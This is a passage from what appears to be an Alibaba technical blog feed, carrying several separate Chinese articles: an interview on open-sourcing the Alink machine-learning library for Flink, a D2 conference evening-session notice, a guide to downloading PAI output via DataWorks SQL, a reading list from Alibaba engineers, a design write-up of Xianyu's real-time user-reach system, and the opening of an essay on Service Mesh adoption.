        莫问:FlinkML 是 Flink 社区现存的一套机器学习算法库,这一套算法库已经存在很久而且更新比较缓慢。Alink 是基于新一代的 Flink,完全重新写了一套,跟 FlinkML 没有代码上的关系。Alink 由阿里巴巴大数据团队开发,开发出来以后在阿里巴巴内部也用了,然后现在正式开源出来。

        未来我们希望 Alink 的算法逐渐替换掉 FlinkML 的算法,可能 Alink 就会成为新一代版本的 FlinkML,当然替换还需要一个比较漫长的过程。Alink 包含了非常多的机器学习算法,往 Flink 贡献或发布的时候也需要比较大的带宽,我们担心整个过程耗时会比较长,所以先把 Alink 单独开源出来,大家如果有需要的可以先用起来。后面贡献进展比较顺利的情况下,Alink 应该能完全合并到 FlinkML,也就是直接进入 Flink 生态的主干,这对于 Alink 来说是最好的归宿,到这个时候 FlinkML 就可以跟 SparkML 完全对应起来了。

        提问:除了 Alink 以外,Flink 当前在机器学习领域的工作还有哪些进展?和其他计算引擎相比,您如何评价当前 Flink 在机器学习和 AI 领域的工作,它的竞争力足够强吗?

        莫问: 其实我们还有很多正在进行的工作。机器学习的核心是迭代计算,机器学习训练就是不停地对数据进行迭代训练,训练出来一个模型然后上线。在核心训练的基础上,Flink 正在设计新的迭代计算,因为 Flink 是基于流式计算,所以它的迭代计算可以转化为 mini-batch 的迭代计算,可以根据数据条目数也可以根据数据段的时长,在流上打出很多细粒度的数据段。

        Flink 的好处是在流上打细粒度的数据段可行性上没有问题,因为它本来就是纯流式的,截成一段一段没有问题。而 Spark 的迭代是把一个数据集做一次迭代,再做一次迭代,这个数据集很难切得特别细,切出来一段就是一次任务的运行,细粒度的挑战比较大。Flink 的好处是本身可以把粒度截得很细,所以重构原有的迭代计算是可行的。

        Flink 最早的迭代计算也跟 Spark 一样,要么是一批迭代要么是一条一条迭代,完全是两个极端,我们想把它做一个抽象,可以按照时间、大小来设定迭代的 batch 大小,就类似于 Flink 窗口的概念,这样可以支持嵌套迭代、增量迭代等。我们在引擎层面做好了基于流的迭代技术之后,整个机器学习的训练就会大幅度加速。虽然算法本身的效果可能是一样的,但是运行的性能和速度不一样。

        同时它还可以解决在线训练的问题,比如说互联网的日志流、用户行为是不停产生的,Flink 流式迭代可以不间断地处理用户产生的实时数据,可以在线迭代更新,模型可以每隔 5 分钟更新一次,也可以每隔 1 分钟更新一次。这样它的模型上线是一个 7×24 小时环状的更新,这样一套在线学习的体系会给用户带来很大的变化,这个变化不是简单的 30% 的提升或者是工程上的优化,而是在使用机器学习的理念上会有优化。

        这是我们当前正在做的工作,社区里也已经开始讨论了,可能会作为 Flink 明年 1-2 个版本的重点。你可以这么认为,Flink 去年还是 Unified Engine,今年开始拥抱 AI 了,2019 年我们做的很多工作是偏 SQL 的优化,明年我们会更多地切入到 AI,就是 FlinkML 和 AI 场景的方向上。

        **提问:阿里是什么时候决定开源 Alink 的?
        **
        莫问: 去年 Blink 开源的时候,我们就在考虑是否把 Alink 一起开源了。但是后来觉得,第一个开源还没做,不敢一下子步子迈得这么大,要一步步来,而且 Blink 开源也要准备很多东西。当时我们没有办法做到两个大的项目同时开源,所以就先把 Blink 开源做好。

        Blink 开源以后,我们想是不是把 Alink 的算法推到 Flink 就好了。但是发现往社区贡献确实是比较复杂的过程,Blink 在推的时候已经占用了很大的带宽,而社区的带宽就那么多,没有办法同时做多件事情。社区也需要一段时间消耗,所以决定先把 Blink 消耗掉,贡献完了,社区吃得下,然后再把 Alink 逐步贡献回社区。这是没有办法跨越的一个过程。

        开源是一个很慎重的过程,不能随意想开就开一个。孩子不能管生不管养,要发东西就要有一个长期的计划,要负责任的,得给大家一个很明确的信号,这是有长期计划的,不是放了开源就结束了,以后肯定会有用户问你们放上去以后管不管?如果我们不想好这些问题,对用户来说就适得其反,大家觉得你并没有给大家一个清晰的信号,大家也不敢用。

        提问:相比 SparkML,Alink 的亮点是什么?对于开发者来说在哪些方面会比较有吸引力?

        莫问:Alink 一是依赖于 Flink 计算引擎层;第二 Flink 框架中有 UDF 的算子,Alink 本身对算法做了很多优化,包括在算法实现上做了细节的优化,比如通信、数据访问、迭代数据处理的流程等多方面的优化。基于这些优化可以让算法运行的效率更高,同时我们还做了很多配套工具,让易用性更好。同时 Alink 还有一个核心技术,就是做了很多 FTRL 的算法,是天然针对在线学习的。在线学习需要高频快速更新的迭代算法,这种情况下 Alink 有天然的优势,像今日头条、微博的信息流都会经常遇到这样的在线场景。

        2.jpg

        在离线学习上 Alink 跟 SparkML 对比基本上差不多,只要大家工程化都做得足够好,离线学习无法打出代差,真正的代差一定是设计上的理念不一样。设计上、产品形态、技术形态不一样才会有代差明显的优势。

        相比 SparkML,我们的基调是批式算法基本一致,包括功能和性能,Alink 可以支持算法工程师常用的所有算法,包括聚类、分类、回归、数据分析、特征工程等,这些类型的算法是算法工程师常用的。我们开源之前也对标了 SparkML 所有的算法,做到了 100% 对标。除此之外,Alink 最大的亮点是有流式算法和在线学习,在自己的特色上能做到独树一帜,这样对用户来说没有短板,同时优势又很明显。

        3.jpg

        Alink 支持的机器学习算法

        后续规划和未来展望

        提问:接下来 Flink 会按照什么样的频率更新版本?能否透露 Flink 接下来还会有哪些值得期待的新特性或功能?

        莫问:3-4 个月,基本上会是一个季度更新一个版本,比如 2020 年 1 月份会发 1.10,4 月份会发 1.11。现在还说不好什么时候切 2.0,2.0 应该会是一个非常有里程碑意义的版本。现在 Flink 社区可以看到非常多的点,不仅有 AI、机器学习,还有今天主题演讲 Stephan Ewen 提到的 Stateful Function,也是非常有前景的。其实在线场景还有很多有前景的东西可以挖掘,Serverless(Faas)也是 Flink 后面的方向。Flink 社区有一点非常好,它刚刚演进到 1.x 版本,还有很大的上升空间,社区的生命力和状态都很好,大家有很多想法想放进去。

        提问:未来大数据领域还有哪些新的技术方向或趋势是比较重要的?

        莫问: 大数据和 AI 的融合可能是一个很好的机会,大家现在纯玩大数据基本上五花八门什么都玩过了,各种项目层出不穷。AI 也是百花争鸣,但其实用户想要的不只是 AI,数据在哪?AI 没有数据怎么玩?得把特征算好、样本算好才能训练出好的模型。这个模型只有经过不断地迭代反馈才能越来越好。这个过程中数据处理和数据分析非常重要,如果没有一套完整的反馈体系,大数据 +AI 的链路玩不通。有再好的引擎,如果没有闭环的计算路径也无法真正发挥生产或业务上的效果。
        所以要把大数据 +AI 整套处理做成非常易用、好用的解决方案,这是大家最需要的。现在可能一个个零散的点大家已经做到了,很多东西都能找到对应的开源项目,但是需要有一个整体的平台把所有技术串起来。

        提问:Flink 在一定程度上也想做这样的?

        莫问: 明年我们会开源一个新的项目 AI Flow,目前还没有 Ready,我们希望 AI Flow 可以通过一个工作流程把数据处理、预处理,包括模型的训练、模型管理、模型上线、动态更新,更新完拿到反馈,反馈之后怎么反向优化流程,整个系统串起来。其中每个环节都可以使用不同的引擎来实现,用 Flink OK,用 Spark 也 OK,就看最后哪个好用。比如可以用 Flink 做大数据处理,TensorFlow 做深度学习训练,FlinkML 做流式训练,把这些都串联起来给用户提供一个端到端的解决方案,这是很有前景的一个项目。

        提问:这是不是跟 Databricks 的 MLflow 有点类似?

        莫问:AI Flow 大于 MLflow,因为 MLflow 只定义了数据格式,AI Flow 可能跟 Kubeflow 更像,AI Flow 偏工作流程,MLflow 偏重于数据格式,没有覆盖特别完整的工作流程,但我们也不排除 MLflow 将来越做越大。

        为什么我们要做这个东西?因为我们在阿里巴巴内部非常熟悉整个搜索推荐广告最核心的系统怎么玩,如何一步步流程化才能形成一套大脑去调控整个流量,甚至是搜索流量、推荐流量、广告流量,在业务流量和现金流量去 battle 等,这是整个商业化最核心的系统,这个系统就是基于大数据 +AI 的方案,而这套方案离不开 workflow,离不开数据格式的定义,离不开不同计算引擎的协同,这是更大的一个概念。我们明年会在这方面投入更多资源,也会联合其他的公司一起来做。

        ]]>
        【D2 之夜】你有一次与玉伯、响马、Hax、Winter 面对面交流的机会 Fri, 02 May 2025 09:39:04 +0800 为了给大家带来一场全天候、不间断的盛筵,D2 组委会经过数十个日日夜夜的紧密筹划,终于完成了 D2 彩蛋——晚场的策划。

        现在,我们正式向所有已购票的小伙伴发出 D2 晚场活动的邀请,欢迎点击链接报名,名额有限!

        D2 晚场介绍

        晚场其实是白天演讲场的延续,由 D2 的特邀嘉(da)宾(lao)们带头,和参会朋友们促膝侃大山。没有了白天正式场的拘束,大家就像老朋友一样,坐下来面对面交流,聊聊技术,谈谈成长,分享趣事,共叙人生——说是大型网红见面会也不为过。

        往年的 D2 其实也有晚场,但没有像这次一样正式宣传,所以有不少小伙伴表示并不知道有晚场,遗憾错过。

        image.png
        [第十三届 D2 晚场 图片来源见水印]

        这次,为了让大家不留遗憾,我们决定提前告知晚场细节,有兴趣参加的小伙伴请提前安排好行程哈~

        D2 晚场安排

        本次 D2 的晚场形式为「 Lightning Talks + 大咖座谈」,下午最后一个话题预计 17:45 结束,大家合完影之后,便可自由安排晚餐,晚场将于 19:00 准时开始,预计 22:00 结束。

        Lightning Talks

        听完白天 3*7=21 场深度分享之后,相信大家脑子里都有不少知识需要消化。这时,听听晚场轻松的 Lightning Talks, 放飞一下思绪,岂不快哉?

        本次的 Lightning Talks 共有三个,它们分别是:

        探究高性能的海量节点树

        分享者:召奴(Chuck),来自台北,目前是 DataWorks 全域智能大数据平台的前端核心成员。

        在我们遇到的场景中,目录树的数据承载量到达 10 万级别,性能问题使客户使用体验极差。我们的挑战在于不仅要解决性能问题,还不能牺牲用户体验。前后经历了四次改造,最终落地了一套解决方案:Cabala-Tree。Cabala-Tree 将海量数据、高性能、极致体验与目录树结合到了一起,不仅支持百万量级的节点数,还提供多条件模糊搜索、定位、协同编辑等强大的能力,为用户提供极致的交互体验。本次演讲中我们将分享我们如何解决目录树在海量数据场景下的性能问题,同时,我们也将分享方案中的关键技术,例如我们如何运用工作流模式来处理复杂的高频流式场景、基于数据存储技术解决 NoSql 读快写慢的问题来达到高效的前端存储方案、使用创新的 Worker group 技术来实践前端真实多线程技术、以及透过 WebAssembly 来封装复杂运算逻辑以提效等等。

        一个跨前后端的视频创意方案解构

        分享者:凌征,就任于阿里妈妈营销研究和体验中心,致力于打造高效优质的图文和视频创意解决方案。

        如何抽象一份数据结构以串联起各个角色(视觉、前端、用户、算法)及流程(数据导出、可视化编辑与预览、黑盒填充、服务端视频渲染);- 2D 坐标系转换的基础知识及 After Effects 图层坐标系、lottie-web 库的 Canvas 渲染器坐标系、HTML Canvas 预览素材的坐标系之间的关系及转换原理;- After Effects Bodymovin 扩展导出的图形数据与贝塞尔曲线的关系;- 在浏览器端获取用户输入文字的 glyph 信息,并让 lottie-web 的 Canvas 渲染器支持实时预览文本。

        7 x 24 小时录屏背后的黑科技

        分享者:亨睿,阿里巴巴南京研发中心高级前端技术专家,从事新一代智能客户服务产品及服务人资管理线上化软件的研发工作,擅长大数据可视化及人机交互设计。

        随着在线客服业务的激增,阿里巴巴集团客户体验事业群内部需要有一种能满足对客服人员 7 x 24 小时录屏的解决方案,XReplay 由此诞生。XReplay 无需安装任何插件,即可在浏览器端记录你在页面上所见所闻,并以高压缩比的无损格式存储在云端。在回放时,XReplay 不仅可以完美再现用户的界面及操作,更可以此分析用户行为,从而激发我们不断提升用户体验,同时还可以满足视频培训的需要。与市面同类产品相比,利用 VirtualDOM、Fiber Tasking、Mutation Merging、diff-match-patch、断点续传等优化算法,XReplay 对连续录制时长不再有限制,同时占用存储空间更小,对应用程序的影响也几乎可以忽略不计,更可支持点对点远程桌面和一对多影音直播及实时多人互动。本次分享为大家带来支撑 XReplay 的前后端架构、优化算法及思考。

        image.png

        大咖座谈

        ]]> PAI平台输出数据下载到本地的操作方法 Fri, 02 May 2025 09:39:04 +0800 PAI的输出

        image.png


        如上图所示为PAI平台的数据输出模块,需要明确的是数据的输入和输出都不是在PAI平台完成的,输入的数据和输出的数据都在MAXCOMPUTE中,PAI平台只是完成计算任务
        image.png
        右键单击以上模块,查看输出数据则能看到输出数据的前100条,复制按钮可以将这100条数据复制并粘贴到本地,但是当输出数据大于100条时,则没有办法在PAI平台内实现

        通过DATA WORKS的导出数据至本地的方法

        通过DATA WORKS来进行MAXCOMPUTE中资源的管理,查看数据开发界面,可以发现并没有下载到本地的选项而是只有将本地数据上传至MAXCOMPUTE中选项

        image.png


        因此采用手动业务流程的方法,通过添加SQL组件来实现将输出数据下载到本地的操作
        image.png
        标签中选择手动业务流程,可以看到流程节点,向可视化界面中添加一个ODPS SQL节点
        image.png
        打开节点,并编写一条查询输出数据表中所有数据的SQL语句,点击运行,并可以看到输出表格并且在输出表格的下方有下载至本地的按钮,需要特别注意的是,SQL查询需要计算费用,具体费用会在计算前有提示

        总结:

        1、当输出数据在100条以上时,在PAI平台内无法将输出数据全部下载到本地
        2、PAI本身不存储数据,只进行计算
        3、DATA WORKS只有本地数据上传导入的入口,而没有单独的将数据下载到本地的入口
        4、可以通过手动业务流程来将数据下载到本地
        5、添加单个业务流程节点(ODPS SQL)并打开节点写一条查询所有输出数据表的SQL语句
        6、运行SQL查询语句费用会在运行前有提示,点击运行则在查询完成后会看到查询结果,下方有将查询结果下载到本地的按钮

        ]]>
        【初次见面】 阿里云智能开发者计划 - 高校学研支持计划 Fri, 02 May 2025 09:39:04 +0800 关于我们

        阿里云智能高校学研支持计划旨在为高等院校师生提供包括算力、培训、平台等全方位支持,助推高校计算机学科建设、培养数字经济时代的前沿技术人才、为多学科跨领域科研探索提速增效。

        学生成长计划

        教学支持计划

        科研加速计划

        如何申请

        申请资格: 教育在册的所有高等院校和科研院所
        申请方式:有意向合作的高等院校和科研院所老师填写在线申请表,院校申请通过后,学生方可申请。申请表传送门:https://yida.alibaba-inc.com/o/ReefPlan#/

        联系我们

        联系我们:DAMOEDU@alibabacloud.com

        阿里云正在帮助全球200+地区超过230万的合作伙伴拥抱数字经济
        加入阿里云智能高校学研支持计划,开始搭建你小而美的数字世界!

        ]]>
        嘘!偷偷看下阿里技术大牛的私人书单 Fri, 02 May 2025 09:39:04 +0800 319.png

        也许我们无法走遍地球的每一个角落,

        却可以用阅读丈量整个世界。

        停止阅读就等于停止给大脑供给养分。信息爆炸时代,“养分”的质量决定了个人的成长速度。阿里妹拿到了贾扬清、吴翰清等大神的私人书单,到底大神们如何跨界学习,将知识收为己用?一起来感受!不要错过文末的送书福利哦!

        推荐书:《到坦桑》

        推荐人:孤尽(阿里巴巴高级技术专家)

        320.png

        孤尽说:那是我向往的狂野奔放、善良淳朴、未被现代商业侵蚀的蛮荒之地。

        推荐理由:作者在坦桑尼亚生活十余年,图文并茂地介绍了当地优秀的旅游资源和原汁原味的人文风情。坦桑尼亚位于肯尼亚南边,东临印度洋,境内有非洲最高峰乞力马扎罗山,全境共有7处世界自然遗产,16个国家公园,包括最有名的塞伦盖蒂等,繁育着300多万只野生哺乳动物,四季可见壮观的野生动物大迁徙。那里的很多地方经常停电,满天繁星的夜空静谧而又深邃,狮群经常出没在越野车的周围,能体会到人与自然和谐地共生。作者忠于内心,返璞归真,无愧于追逐野生动物的梦想,积极倡导自然环境的保护。

        推荐书:《智能时代》

        推荐人:毕玄(阿里巴巴资深技术专家)

        321.png

        **
        毕玄说:看完书后能引发自己对于智能时代的进一步思考,想想哪些行业将会因为智能技术而迎来革命性的突破。**

        推荐理由:智能技术在这几年已经进入实际的应用,实际的生活中,我们已经处于一个智能时代的起点阶段,这本书系统化地讲解了大数据、智能技术的起源,目前所处的阶段,面临的挑战,未来想象的空间。对大家更体系化地学习智能时代,感受智能时代带来的冲击有很大的帮助。看完书后能引发自己对于智能时代的思考。在过去的很多年,互联网技术+行业引发了行业变革,相信未来智能技术+行业同样也会引发巨大的行业变革。

        推荐书:《光电帝国》

        推荐人:吴翰清(阿里巴巴研究员)

        322.png

        推荐理由:读史可以知兴衰,以史为鉴。看看100年前电的发展史是如何影响和改变这个世界的,当时的爱迪生、威斯汀豪斯、特斯拉在真实的历史中又是各自扮演了什么角色,承担了什么责任。电力的发展对今天云计算的发展有着重要的借鉴意义,读完之后,就不会再纠结专有云和公共云、安全和隐私这些问题了,每个人都会得到自己的答案。

        推荐书:《中国历代政治得失》

        推荐人:吴翰清(阿里巴巴研究员)

        323.png

        推荐理由:这本书实际上是一本讲组织架构设计的书,可以看到中国传承上千年的组织形态的内在逻辑是什么,又是如何影响了当时的社会。今天中国的政府顶层设计中依然能够找到历史的影子。这本书中对于政府各部门职责的阐述,对于今天建设城市大脑有着重要的借鉴作用。

        推荐书:《Introduction to Algorithms》

        推荐人:Ge, Niyu(阿里巴巴研究员)

        推荐理由:这本书为所有认真研究算法的人奠定了基础。它不仅是基础知识的全面汇编,还提供了对这些算法发展的见解,是所有计算机科学家都需要阅读的书。

        推荐书:《Tractatus Logico-Philosophicus》

        《Philosophical Investigations》

        推荐人:Ge, Niyu(阿里巴巴研究员)

        325.png

        推荐理由:这两本书对语言哲学有深刻见解,几乎拥有神圣的洞察力。虽然在内容上有一定的阅读难度,但读完后的回报是无与伦比的。细心的读者也可能发现维特根斯坦的理论与今天的“深度学习”之间有着不可思议的关系。

        推荐书:《Exercises in Style》

        推荐人:Ge, Niyu(阿里巴巴研究员)

        326.png

        推荐理由:这本看似无关紧要的书再次提醒了人们语言的复杂性。它可能会让你沮丧,因为你会意识到 NLP 几乎难以克服的困难,但是它也同时让你陶醉在语言之美中。和其他领域的研究一样,对 NLP 的研究最终应该是对科学和艺术的研究。

        推荐书:《从0到1》

        推荐人:周公爽(阿里云MVP&杭州博拉科技CEO)

        327.png

        周公爽说:《从0到1》这本书让我清晰认识到如何用技术不断拓展商业边界。

        推荐理由:作为创业者,我们都希望自己拥有牛逼的技术,比其他竞争者好10倍以上的技术,然而如何找到这种牛逼的技术?《从0到1》会告诉你;我们在一个小群体做了一个产品,如何扩大到大群体,如何拥有快速扩张的能力?作为创业者,如何试图建立创新的垄断企业?如何寻找极少人认同的关于世界的真相?《从0到1》所包含的内在逻辑也许正是硅谷成功的秘籍。

        推荐书:《人性的弱点》

        推荐人:贾扬清(AI科学家、阿里巴巴副总裁)

        328.png

        推荐理由:作为软件工程师我经常有这样一份沮丧:为什么别人总是不讲逻辑?这种沮丧在我走上技术管理岗位以后越来越多,直到今天。戴尔卡内基的这本书,可能从畅销书的角度都已经被说烂了,不过我觉得它对像我这样的技术人员来说,是一本特别值得读的书:它用逻辑来讲述逻辑之外的事情,同时向我展示了一系列为人处世和共创成功的方法论。我2014年的时候第一次读到这本书,感觉它解决了我心底里对于和人打交道的恐惧。

        乍一看,书中讲到的事情似乎都是一些技巧:如何使你更受欢迎,如何交朋友,如何增加赚钱的能力,等等;但一条主线贯穿始终:人作为一种社会动物,有着喜怒哀乐,有着不同的个性,但是最终都希望获得相互的真诚,合作和理解。书中讲到的无数种技巧,归结起来,就是真心理解他人,尊重他人。人不是一台机器,但是正因此我们才比机器更加温暖,共勉。

        送书福利

        扫描下方二维码,加「阿里妹」微信号,参加活动送技术好书

        313.gif

        318.JPG

        ]]>
        一个实时精准触达系统的自我修养 Fri, 02 May 2025 09:39:04 +0800 作者:闲鱼技术-剑辛

        问题定义

        在互联网行业,唯一不变的就是一直在变化。作为技术同学,我们经常会碰到以下几种需求:
        当用户收藏的商品降价后及时通知用户,促进双方交易达成;新用户或90天内未成交的用户浏览多个商品后引导用户主动和卖家聊天、也可以给用户发个红包促进用户首单的达成;

        这些需求本质上是这样的逻辑:实时采集分析用户行为,通过规则计算,对符合条件的用户进行精准触达。普通开发模式很难比较好的承接这类需求,为此我们专门研发了omega系统解决这类问题。omega系统分为三个子系统:

        我们在之前文章已经详细说明前两部分,本次我们将着重阐述用户触达系统是如何设计和实现策略灵活配置和精准触达的。

        系统设计

        2.1、逻辑架构

        undefined
        为了方便读者理解,我们简单回顾omega系统的逻辑架构。omega系统基于高内举低耦合的原则进行拆分,每个部分本身是独立完整的系统,也可以组装后提供服务。

        • 第一层是用户行为采集中心,通过采集端上请求的MTOP(应用网关)接口和端上用户行为埋点,将数据清洗为规整的用户行为数据;
        • 第二层是CEP规则计算中心,通过解析DSL生成Blink(Flink)流计算任务,输出满足规则的用户;
        • 第三层为用户触达中心,定义触达策略和通道,将策略实时触达给用户。

        三层环环相扣,既可单独对外提供服务,也可联合对外承接业务,目前已经在承接用户增长、玩法和安全相关业务。

        以用户增长业务举例,当用户在体验的过程中,运营通过合理策略组合,引导用户完成交易行为,到达产品形态上的“啊哈”时刻。这些策略在端内可能是权益透出、POP和实时Push,在端外是Push、短信和外呼等手段。Omega系统通过整合端内/端外的主动/被动触达渠道,以用户的实时状态为核心,实现了一套满足长周期运营的策略编排技术方案体系。

        2.2、触达流程

        undefined
        触达流程本身比较明确,我们将流程拆分为多个小的节点,每个节点之间通过配置化方式组合,保证每个节点是可插拔、可替换的实现。整体用户触达系统处理流程如下:

        • 接收CEP规则计算结果,包括规则名和满足规则的用户;
        • Action路由层根据规则名查询所有订阅此规则的Action列表;
        • Action过滤层根据一定策略过滤有效Action列表,过滤策略包括黑/白名单,灰度、人群和疲劳度策略;
        • Action下发层会根据策略配置执行,可以是通用的触达,比如发push、短信;也可以是调用其他业务系统,比如调用安全系统处罚;也可以将Action下发到端上执行;
        • Action执行后将相关信息按照通用协议埋点,方便后续数据统计;

        用户触达是omega系统流程的最后一环,需要封装足够多的通用触达能力,保证触达的实时性、有效性,不然对用户体验会有伤害,接下来通过详细设计看下用户触达系统如何保证触达策略可组装、可插拔的灵活配置和触达实时性等特性。

        2.3、详细设计

        undefined

        注:metaq是阿里内部使用的MQ框架;HSF是RPC框架。

        用户触达中心的目标是可以单独提供服务,支持灵活可插拔配置和策略精准触达,所以在设计上着重减少对外部依赖,对外通过MQ方式减少对外部系统直接依赖和耦合;对内明确各子模块的功能边界,通过配置化方式组合子模块。

        用户触达中心的主要作用是维护触达策略和封装标准触达能力,整体分为以下部分:

        • 输入数据源:用户触达中心可以接收上层规则中心计算结果,也可以由外部业务系统主动触发;
        • 触达物料包括文案、图片等维护在云投放系统(闲鱼素材管理系统),后续会接入离线数据补充更细粒度的基础信息,包括用户画像、商品数据等。
        • Action路由层维护Action与规则之间的订阅关系,包括订阅的有效时间、优先级等要素;
        • Action过滤层采用责任链模式设计,各filter相互独立,可动态插拔和灵活配置;
        • Action实现层封装了各种通用触达能力实现,目前主要是云端和客户端两种,后续可通过faas模式提供Action灵活快速上线能力。为了保证在客户端执行Action的实时性,我们专门维护了与客户端的长连通道,通过针对性优化,提升通道的数据传输速度和到达率,对端上触达进行了重点保证。
        • Action触达后会按照统一埋点协议记录,后续会整理埋点上报和数据开发流程,减少数据开发成本,方便业务方查看Action实验效果和实验归因。

        线上效果

        用户触达中心上线后已经通过配置化方式承接多个业务,包括闲鱼金鳞双十一玩法、用户增长、租房、租赁等多个业务场景,通过运营灵活配置策略和权益的实时精准触达,拿到以下数据结果:
        对目标人群触达准确率大幅提升;

        金鳞玩法延迟在1s内;

        授人以鱼不如授人以渔,提供运营工具,彻底解放开发资源;

        其中双十一项目对实时性要求高而且QPS比较高,对Omega系统尤其是用户触达中心的性能和实时触达能力进行充分验证。最终浏览商品降价场景Push点击率较离线有大幅提升。

        总结展望

        Omega系统是针对实时性要求高、运营主导、快速实验这类场景解法的高度抽象。秉承这个理念,用户触达中心封装多种通用触达能力,支持灵活可插拔的filter配置和设计标准埋点协议以支持业务快速实验和数据归因分析。后续我们将支持离线画像数据标准接入和数据回流分析标准化,打通业务上下游数据,在功能上实现流程闭环。也欢迎读者交流讨论。

        ]]>
        阿里Serverless 专家在线直播VSCode插件开发实践 Fri, 02 May 2025 09:39:04 +0800 Serverless是一种构建和管理基于微服务架构的完整流程,允许你在服务部署级别而不是服务器部署级别来管理你的应用部署,你甚至可以管理某个具体功能或端口的部署,这就能让开发者快速迭代,更快速地开发软件。

        对于开发者来说,在学习与了解新的架构过程中,需要不断的去网上找资料,不能解决实际问题?

        本期我们请来了阿里云函数计算团队的工具链小组技术专家——泽尘,为大家详细解析Serverless VSCode方面的技术问题。
        直播时间:12月4日(本周三)下午16点30
        直播主题:Serverless 开发实践 --- Aliyun Serverless VSCode 插件指南

        内容:围绕 Aliyun Serverless VSCode 插件,介绍如何通过该插件更加便捷的开发 Serverless 函数计算 & 函数工作流应用,体验插件带来的云端以及本地开发的全流程体验。

        直播地址:直播第一通道

        也可以通过钉钉扫码进群观看直播,群内不定期阿里专家技术分享

        test

        ]]>
        Service Mesh 在『路口』的产品思考与实践:务实是根本 Fri, 02 May 2025 09:39:04 +0800 一、引言

        Service Mesh 是蚂蚁金服下一代架构的核心,经过了2年的沉淀,我们探索出了一套切实可行的方案并最终通过了双十一的考验。本文主要分享在当下『路口』,我们在产品设计上的思考和实践,希望能给大家带来一些启发。

        二、为什么需要 Service Mesh?

        2.1 微服务治理与业务逻辑解耦

        在 Service Mesh 之前,微服务体系的玩法都是由中间件团队提供一个 SDK 给业务应用使用,在 SDK 中会集成各种服务治理的能力,如:服务发现、负载均衡、熔断限流、服务路由等。

        在运行时,SDK 和业务应用的代码其实是混合在一个进程中运行的,耦合度非常高,这就带来了一系列的问题:

        1. 升级成本高

          1. 每次升级都需要业务应用修改 SDK 版本号,重新发布;
          2. 在业务飞速往前跑的时候,是不太愿意停下来做这些和自身业务目标不太相关的事情的;
        2. 版本碎片化严重

          1. 由于升级成本高,但中间件还是会向前发展,久而久之,就会导致线上 SDK 版本各不统一、能力参差不齐,造成很难统一治理;
        3. 中间件演进困难

          1. 由于版本碎片化严重,导致中间件向前演进过程中就需要在代码中兼容各种各样的老版本逻辑,戴着『枷锁』前行,无法实现快速迭代;

        有了 Service Mesh 之后,我们就可以把 SDK 中的大部分能力从应用中剥离出来,拆解为独立进程,以 Sidecar 的模式部署。通过将服务治理能力下沉到基础设施,可以让业务更加专注于业务逻辑,中间件团队则更加专注于各种通用能力,真正实现独立演进,透明升级,提升整体效率。

        decouple.png

        2.2 异构系统统一治理

        随着新技术的发展和人员更替,在同一家公司中往往会出现使用各种不同语言、不同框架的应用和服务,为了能够统一管控这些服务,以往的做法是为每种语言、每种框架都重新开发一套完整的 SDK,维护成本非常高,而且对中间件团队的人员结构也带来了很大的挑战。

        有了 Service Mesh 之后,通过将主体的服务治理能力下沉到基础设施,多语言的支持就轻松很多了,只需要提供一个非常轻量的 SDK、甚至很多情况都不需要一个单独的 SDK,就可以方便地实现多语言、多协议的统一流量管控、监控等治理需求。

        multi-language.png
        图片来源

        2.3 金融级网络安全

        当前很多公司的微服务体系建设都建立在『内网可信』的假设之上,然而这个原则在当前大规模上云的背景下可能显得有点不合时宜,尤其是涉及到一些金融场景的时候。

        通过 Service Mesh,我们可以更方便地实现应用的身份标识和访问控制,辅之以数据加密,就能实现全链路可信,从而使得服务可以运行于零信任网络中,提升整体安全水位。

        security.png

        三、在当下『路口』的思考

        3.1 云原生方案?

        正因为 Service Mesh 带来了上述种种的好处,所以这两年社区中对 Service Mesh 的关注度越来越高,也涌现出了很多优秀的 Service Mesh 产品,Istio 就是其中一款非常典型的标杆产品。

        Istio 以其前瞻的设计结合云原生的概念,一出现就让人眼前一亮,心之向往。不过深入进去看了之后发现,在目前阶段要落地的话,还是存在一些 gap 的。

        istio.png
        图片来源

        3.2 Greenfield vs Brownfield

        在正式展开讨论之前,我们先来看一副漫画。

        greenfield-brownfield.png
        图片来源

        上面这幅漫画描绘了这样一个场景:

        • 有两个工人在工作,其中一个在绿色的草地(Greenfield)上,另一个在棕色的土地(Brownfield)上
        • 在绿色草地上的工人对在棕色土地上的工人说:“如果你没有给自己挖这么深的坑,那么你也可以像我一样做一些很棒的新东西”
        • 然后在棕色土地上的工人回答道:“你倒是下来试试!”

        这是一幅很有意思的漫画,从表面上看我们可以认为在绿色草地上的工人是站着说话不腰疼,不过其实本质的原因还是两者所处的环境不同。

        在一片未开发过的土地上施工确实是很舒服的,因为空间很大,也没有周遭各种限制,可以使用各种新技术、新理念,我们国家近几十年来的一些新区新城的建设就属于这类。而在一片已经开发过的土地上施工就大不一样了,周围环境会有各种限制,比如地下可能有各种管线,一不小心就挖断了,附近还有各种大楼,稍有不慎就可能把楼给挖塌了,所以做起事来就要非常小心,设计方案时也会受到各种约束,无法自由发挥。

        对于软件工程,其实也是一样的,Greenfield 对应着全新的项目或新的系统,Brownfield 对应着成熟的项目或遗留系统。

        我相信大部分程序员都是喜欢做全新的项目的,包括我自己也是一样。因为可以使用新的技术、新的框架,可以按照事物本来的样子去做系统设计,自由度很高。而在开发/维护一个成熟的项目时就不太一样了,一方面项目已经稳定运行,逻辑也非常复杂,所以无法很方便地换成新的技术、新的框架,在设计新功能时也会碍于已有的架构和代码实现做很多妥协,另一方面前人可能不知不觉挖了很多坑,稍有不慎就会掉进坑里,所以行事必须要非常小心,尤其是在做大的架构改变的时候。

        3.3 现实场景

        3.3.1 Brownfield 应用当道

        在现实中,我们发现目前大部分的公司还没有走向云原生,或者还刚刚在开始探索,所以大量的应用其实还跑在非 k8s 的体系中,比如跑在虚拟机上或者是基于独立的服务注册中心构建微服务体系。

        虽然确实有少量 Greenfield 应用已经在基于云原生来构建了,但现实是那些大量的 Brownfield 应用是公司业务的顶梁柱,承载着更大的业务价值,所以如何把它们纳入 Service Mesh 统一管控,从而带来更大的价值,也就成了更需要优先考虑的话题。

        vm.pngstandalone-service-registry.png

        独立的服务注册中心

        3.3.2 云原生方案离生产级尚有一定距离

        另一方面,目前 Istio 在整体性能上还存在一些有待解决的点(引述小剑老师在蚂蚁金服 Service Mesh 深度实践中的观点):

        1. Mixer

          1. Mixer 的性能问题,一直都是 Istio 中最被人诟病的地方;
          2. 尤其在 Istio 1.1/1.2 版本之后引入了 Out-Of-Process Adapter,更是雪上加霜;
          3. 从落地的角度看,Mixer V1 糟糕至极的性能,已经是“生命无法承受之重”。对于一般规模的生产级落地而言,Mixer 性能已经是难于接受,更不要提大规模落地……
